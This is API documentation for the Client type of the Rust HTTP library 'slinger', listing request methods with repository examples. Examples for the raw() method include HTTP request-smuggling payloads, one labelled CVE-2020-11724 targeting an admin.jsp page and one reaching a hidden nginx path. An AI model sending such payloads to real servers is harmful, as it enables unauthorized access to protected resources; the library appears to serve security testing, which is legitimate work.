pub struct Client { /* private fields */ }Expand description
A Client to make Requests with.
The Client has various configuration values to tweak, but the defaults
are set to what is usually the most commonly desired value. To configure a
Client, use Client::builder().
The Client holds a connection pool internally, so it is advised that
you create one and reuse it.
§Examples
use slinger::Client;
let client = Client::new();
let resp = client.get("http://httpbin.org/").send()?;
Implementations§
source§impl Client
impl Client
sourcepub fn builder() -> ClientBuilder
pub fn builder() -> ClientBuilder
Creates a ClientBuilder to configure a Client.
This is the same as ClientBuilder::new().
sourcepub fn get<U>(&self, url: U) -> RequestBuilder
pub fn get<U>(&self, url: U) -> RequestBuilder
Convenience method to make a GET request to a URL.
§Errors
This method fails whenever supplied Uri cannot be parsed.
Examples found in repository?
More examples
11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
fn limit(max_redirect: usize) -> Result<(), Box<dyn std::error::Error>> {
let redirect = slinger::redirect::Policy::Limit(max_redirect);
let client = ClientBuilder::new().redirect(redirect).build().unwrap();
let resp = client.get("http://httpbin.org/redirect/10").send()?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
assert_eq!(record.len(), 3);
Ok(())
}
fn jump() -> Result<(), Box<dyn std::error::Error>> {
let client = ClientBuilder::new().build().unwrap();
let resp = client
.get("http://httpbin.org/redirect-to?url=http://www.example.com/")
.send()?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
assert_eq!(record.len(), 2);
Ok(())
}
fn only_same_host() -> Result<(), Box<dyn std::error::Error>> {
let redirect = slinger::redirect::Policy::Custom(slinger::redirect::only_same_host);
let client = ClientBuilder::new().redirect(redirect).build().unwrap();
let resp = client
.get("http://httpbin.org/redirect-to?url=http://www.example.com/")
.send()?;
let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
println!("{:?}", record);
assert_eq!(record.len(), 1);
let redirect_record = resp.redirect_record().unwrap();
println!("{:?}", redirect_record);
assert_eq!(
redirect_record.next,
Some(http::Uri::from_static("http://www.example.com/"))
);
Ok(())
}sourcepub fn post<U>(&self, url: U) -> RequestBuilder
pub fn post<U>(&self, url: U) -> RequestBuilder
Convenience method to make a POST request to a URL.
§Errors
This method fails whenever supplied Uri cannot be parsed.
Examples found in repository?
3 4 5 6 7 8 9 10 11 12 13 14 15 16
fn main() -> Result<(), Box<dyn std::error::Error>> {
let client = ClientBuilder::new().build().unwrap();
let resp = client
.post("https://httpbin.org/post")
.header("XX", "XX")
.header_line("X: X")
.body(b"data".as_slice())
.send()?;
println!("{:?}", resp.text());
let u = http::Uri::from_static("https://httpbin.org/post");
let raw = Request::raw(u, "", true);
println!("{:?}", raw);
Ok(())
}More examples
4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
fn main() -> Result<(), Box<dyn std::error::Error>> {
let client = ClientBuilder::new()
.user_agent(HeaderValue::from_static(
"Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0",
))
.build()
.unwrap();
let resp = slinger::get("http://httpbin.org/get")?;
println!("{:?}", resp.body());
let resp = client
.post("http://httpbin.org/post")
.body(b"test".to_vec())
.send()?;
println!("{:?}", resp.text());
let req = Request::builder()
.uri("http://httpbin.org/head")
.method("HEAD")
.header("pragma", "akamai-x-cache-on")
.body(None)
.unwrap();
let resp = client.execute(req).unwrap();
println!("{:?}", resp);
Ok(())
}sourcepub fn put<U>(&self, url: U) -> RequestBuilder
pub fn put<U>(&self, url: U) -> RequestBuilder
Convenience method to make a PUT request to a URL.
§Errors
This method fails whenever supplied Uri cannot be parsed.
sourcepub fn patch<U>(&self, url: U) -> RequestBuilder
pub fn patch<U>(&self, url: U) -> RequestBuilder
Convenience method to make a PATCH request to a URL.
§Errors
This method fails whenever supplied Uri cannot be parsed.
sourcepub fn delete<U>(&self, url: U) -> RequestBuilder
pub fn delete<U>(&self, url: U) -> RequestBuilder
Convenience method to make a DELETE request to a URL.
§Errors
This method fails whenever supplied Uri cannot be parsed.
sourcepub fn head<U>(&self, url: U) -> RequestBuilder
pub fn head<U>(&self, url: U) -> RequestBuilder
Convenience method to make a HEAD request to a URL.
§Errors
This method fails whenever supplied Uri cannot be parsed.
sourcepub fn trace<U>(&self, url: U) -> RequestBuilder
pub fn trace<U>(&self, url: U) -> RequestBuilder
Convenience method to make a TRACE request to a URL.
§Errors
This method fails whenever supplied Uri cannot be parsed.
sourcepub fn connect<U>(&self, url: U) -> RequestBuilder
pub fn connect<U>(&self, url: U) -> RequestBuilder
Convenience method to make a CONNECT request to a URL.
§Errors
This method fails whenever supplied Uri cannot be parsed.
sourcepub fn options<U>(&self, url: U) -> RequestBuilder
pub fn options<U>(&self, url: U) -> RequestBuilder
Convenience method to make a OPTIONS request to a URL.
§Errors
This method fails whenever supplied Uri cannot be parsed.
sourcepub fn request<U>(&self, method: Method, url: U) -> RequestBuilder
pub fn request<U>(&self, method: Method, url: U) -> RequestBuilder
Start building a Request with the Method and Uri.
Returns a RequestBuilder, which will allow setting headers and
request body before sending.
§Errors
This method fails whenever supplied Uri cannot be parsed.
sourcepub fn raw<U, R>(&self, uri: U, raw: R, unsafe_raw: bool) -> RequestBuilder
pub fn raw<U, R>(&self, uri: U, raw: R, unsafe_raw: bool) -> RequestBuilder
Start building a Request with the Method and Uri.
Returns a RequestBuilder, which will allow setting headers and
request body before sending.
§Errors
This method fails whenever supplied Uri cannot be parsed.
Examples found in repository?
11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
fn cve_2020_11724() {
let raw: &str = r#"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked
0
GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0
"#;
// let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
let client = ClientBuilder::new().build().unwrap();
// replace \n to \r\n
let raw = raw.replace('\n', "\r\n");
let resp = client
.raw("http://127.0.0.1:9015/", raw, true)
.send()
.unwrap();
println!("{:?}", resp.text());
let command = resp.request().unwrap().get_command();
println!("{}", command);
}
fn nginx() {
let raw = r#"
GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost
"#;
let client = ClientBuilder::new().build().unwrap();
// replace \n to \r\n
let raw = raw.replace('\n', "\r\n");
let resp = client
.raw("http://127.0.0.1:9015/", raw, true)
.send()
.unwrap();
println!("{:?}", resp.text());
let command = resp.request().unwrap().get_command();
println!("{}", command);
}sourcepub fn execute_request(
&self,
socket: &mut Socket,
request: &Request,
) -> Result<Response>
pub fn execute_request( &self, socket: &mut Socket, request: &Request, ) -> Result<Response>
Executes a Request.
A Request can be built manually with Request::new() or obtained
from a RequestBuilder with RequestBuilder::build().
You should prefer to use the RequestBuilder and
RequestBuilder::send().
§Errors
This method fails if there was an error while sending request, or redirect limit was exhausted.
sourcepub fn execute<R: Into<Request>>(&self, request: R) -> Result<Response>
pub fn execute<R: Into<Request>>(&self, request: R) -> Result<Response>
Executes a Request.
A Request can be built manually with Request::new() or obtained
from a RequestBuilder with RequestBuilder::build().
You should prefer to use the RequestBuilder and
RequestBuilder::send().
§Errors
This method fails if there was an error while sending request, or redirect limit was exhausted.
Examples found in repository?
4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
fn main() -> Result<(), Box<dyn std::error::Error>> {
let client = ClientBuilder::new()
.user_agent(HeaderValue::from_static(
"Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0",
))
.build()
.unwrap();
let resp = slinger::get("http://httpbin.org/get")?;
println!("{:?}", resp.body());
let resp = client
.post("http://httpbin.org/post")
.body(b"test".to_vec())
.send()?;
println!("{:?}", resp.text());
let req = Request::builder()
.uri("http://httpbin.org/head")
.method("HEAD")
.header("pragma", "akamai-x-cache-on")
.body(None)
.unwrap();
let resp = client.execute(req).unwrap();
println!("{:?}", resp);
Ok(())
}Trait Implementations§
Auto Trait Implementations§
impl Freeze for Client
impl RefUnwindSafe for Client
impl Send for Client
impl Sync for Client
impl Unpin for Client
impl UnwindSafe for Client
Blanket Implementations§
source§impl<T> BorrowMut<T> for Twhere
T: ?Sized,
impl<T> BorrowMut<T> for Twhere
T: ?Sized,
source§fn borrow_mut(&mut self) -> &mut T
fn borrow_mut(&mut self) -> &mut T
source§impl<T> CloneToUninit for Twhere
T: Clone,
impl<T> CloneToUninit for Twhere
T: Clone,
source§default unsafe fn clone_to_uninit(&self, dst: *mut T)
default unsafe fn clone_to_uninit(&self, dst: *mut T)
clone_to_uninit)